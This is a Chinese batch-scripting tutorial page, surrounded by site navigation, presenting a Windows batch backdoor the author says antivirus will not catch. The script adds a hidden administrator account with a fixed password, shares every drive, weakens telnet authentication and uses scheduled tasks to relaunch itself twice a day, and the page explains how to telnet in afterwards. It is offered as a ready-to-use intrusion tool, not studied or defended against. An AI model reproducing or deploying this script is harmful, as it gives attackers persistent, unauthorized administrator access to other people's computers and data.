繁體中文当前位置: 首页 > 图文教程 > 脚本技术 > DOS/BAT > 用批处理写的永不被杀的后门
- DOS/BAT
- 一个“灵异”批处理引发的思考加补充说明
- 批处理隐藏自身窗口，很无聊
- 批处理bat 延时执行命令的两种方法
- 执行批处理bat程序中的条件处理
- 不错的批处理脚本 第一部分
- 不错的批处理脚本实例代码 第二部分
- 开机更新桌面主题的批处理代码
- 非常好的for 教程, 当时我就是看这个学习for 的
- 批处理的"循环"效果脚本
- 批处理中常用的符号总结
- 关于echo 的问题与使用说明
- 进入dos的一个密码破解方法
- VBS CHR码值对应列表
- 无法使用GHOST及避免出现A:\GHOSTERR.TXT的解决方法
- 用vbs实现cmd多命令运行功能代码
- 三个不同文件停顿二秒弹出不同窗口的批处理
- 写批处理必备的一些命令参数使用技巧
- 一个小助手批处理实例代码
- 网管常用的网络命令集合
- 批处理的api WMIC学习体会有感
DOS/BAT 中的 用批处理写的永不被杀的后门
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-11 浏览: 70 ::
收藏到网摘: n/a
代码思路是影子鹰DESERT朋友的，原代码比较麻烦，我做了改进，这个后门优点就是小而且不会被杀，放到SYSTEM32目录下就可以了 ，代码如下：
@echo off
@attrib +s + r xyt.bat
@net user xyt hacker /add
@net localgroup administrators xyt /add
@net share c$=c:
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:
@tlntadmn config sec = -ntlm
@net stop schedule
@net start Schedule
@echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
@echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
@at 11:05 c:\WINNT\SYSTEM32\xyt.bat
@at 23:05 c:\WINNT\SYSTEM32\xyt.bat
@net stop telnet
@net start telnet
@exit
这样就会循环运行我们的程序了，即使被人停下来，过几个小时，又回重新运行，呵呵~~
运行后TELNET IP上去，用户名为xyt，密码为hacker。
评论 (0) All
